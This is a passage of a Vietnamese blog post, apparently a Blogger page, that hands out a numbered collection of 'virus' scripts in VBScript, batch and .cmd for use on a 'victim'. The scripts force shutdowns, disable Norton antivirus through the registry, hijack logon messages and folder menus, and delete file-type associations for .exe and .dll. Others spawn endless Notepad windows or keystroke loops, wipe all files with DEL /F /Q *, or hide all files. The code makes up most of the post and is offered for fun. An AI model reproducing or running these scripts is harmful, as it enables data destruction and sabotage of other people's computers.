FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
4)chức năng mở một thông điệp rồi sẽ tự động tắt máy:
Code:
@echo off
msg * thông điệp
shutdown -c "thông điệp" -s -t 10
5)không cho victim khởi động máy:
Code:
Dim wsh
Set wsh = createobject("wscript.shell")
wsh.run "RUNDLL32.EXE user.exe,exitwindows"
6)Disable NAV:
Code:
Dim wsh
Set wsh= CreateObject( "WScript.Shell")
s1 = " HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servic
es\Norton Program
Scheduler\Start"
wsh.RegWrite s1,3, "REG_DWORD"
7)hiển thị message mỗi khi restart máy:
Code:
dim wsh
Set wsh = CreateObject( "WScript.Shell" )
s1 = " HKLM\Software\Microsoft\Windows\CurrentVersion\Win
Logon\"
s2 = "LegalNoticeCaption"
s3 = "LegalNoticeText"
wsh.RegWrite s1+s2, "lời cảnh báo"
wsh.RegWrite s1+s3, "lời cảnh báo"
8)chuc nang hien thi dong lenh khi ban click vao floder:
Code:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","loi canh bao"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\loi canh bao\","SLM"
vd:
set reg=createobject("WScript.shell")
reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Hi ! Ban da bi nhiem WK tu truongton.net"
reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Hi ! Ban da bi nhiem WK tu truongton.net\","SLM"
9)Xóa Registry Files:
Code:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO slm loi canh bao.
GOTO MESSAGE
vd:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO slm chuc anh 1 ngay vui ve.
GOTO MESSAGE
10)Bật notepad lien tuc lam may tinh bi ngơ:
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
11)bật tắt caps lock liên tục:
Code:
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
12)Ép enter liên tục:
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
ep Backspace lien tuc:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Còn đây là một số con virus có đuôi .cmd:
1)Xóa sạch tất cả các file có trong máy:
Code:
DEL /F /Q *
2)Xóa một file nào đó:
Code:
erase đường dẫn
vd:
erase C:\TEST.txt
3)Ẩn tòan bộ file trong win
Code:
ATTRIB +S /F /Q *
Thế là xong phù mệt quá chúc các bạn vui vẻ với những con virus này nếu có con mới mình sẽ post lên cho các bạn thưởng thức.
cách dowloading video từ youtube về máy tính
hướng dẫn dowload video từ youtube
Google Account Video Purchases
Ho Chi Minh City, Vietnam
Đăng ký:
Bài đăng (Atom)

















